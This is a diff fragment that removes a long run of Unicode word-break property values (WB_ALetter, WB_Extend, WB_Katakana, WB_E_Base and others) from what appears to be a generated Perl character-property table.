-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Format,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Numeric,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Perl_Tailored_HSpace,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Format,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Numeric,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Numeric,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Numeric,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Perl_Tailored_HSpace,
-	WB_Other,
-	WB_Extend,
-	WB_ZWJ,
-	WB_Format,
-	WB_Other,
-	WB_MidNumLet,
-	WB_Other,
-	WB_MidNumLet,
-	WB_Other,
-	WB_MidLetter,
-	WB_Newline,
-	WB_Format,
-	WB_ExtendNumLet,
-	WB_Other,
-	WB_ExtendNumLet,
-	WB_Other,
-	WB_MidNum,
-	WB_Other,
-	WB_ExtendNumLet,
-	WB_Other,
-	WB_Perl_Tailored_HSpace,
-	WB_Format,
-	WB_Other,
-	WB_Format,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_Glue_After_Zwj,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Perl_Tailored_HSpace,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Katakana,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Katakana,
-	WB_Other,
-	WB_Katakana,
-	WB_Other,
-	WB_Katakana,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Katakana,
-	WB_Other,
-	WB_Katakana,
-	WB_Other,
-	WB_Katakana,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Numeric,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Hebrew_Letter,
-	WB_Extend,
-	WB_Hebrew_Letter,
-	WB_Other,
-	WB_Hebrew_Letter,
-	WB_Other,
-	WB_Hebrew_Letter,
-	WB_Other,
-	WB_Hebrew_Letter,
-	WB_Other,
-	WB_Hebrew_Letter,
-	WB_Other,
-	WB_Hebrew_Letter,
-	WB_Other,
-	WB_Hebrew_Letter,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_MidNum,
-	WB_Other,
-	WB_MidLetter,
-	WB_MidNum,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ExtendNumLet,
-	WB_Other,
-	WB_ExtendNumLet,
-	WB_MidNum,
-	WB_Other,
-	WB_MidNumLet,
-	WB_Other,
-	WB_MidNum,
-	WB_MidLetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Format,
-	WB_Other,
-	WB_MidNumLet,
-	WB_Other,
-	WB_MidNum,
-	WB_Other,
-	WB_MidNumLet,
-	WB_Other,
-	WB_MidLetter,
-	WB_MidNum,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ExtendNumLet,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Katakana,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Format,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Format,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Katakana,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Format,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Format,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Regional_Indicator,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Modifier,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base_GAZ,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_Glue_After_Zwj,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_Glue_After_Zwj,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_E_Base,
-	WB_Other,
-	WB_Format,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
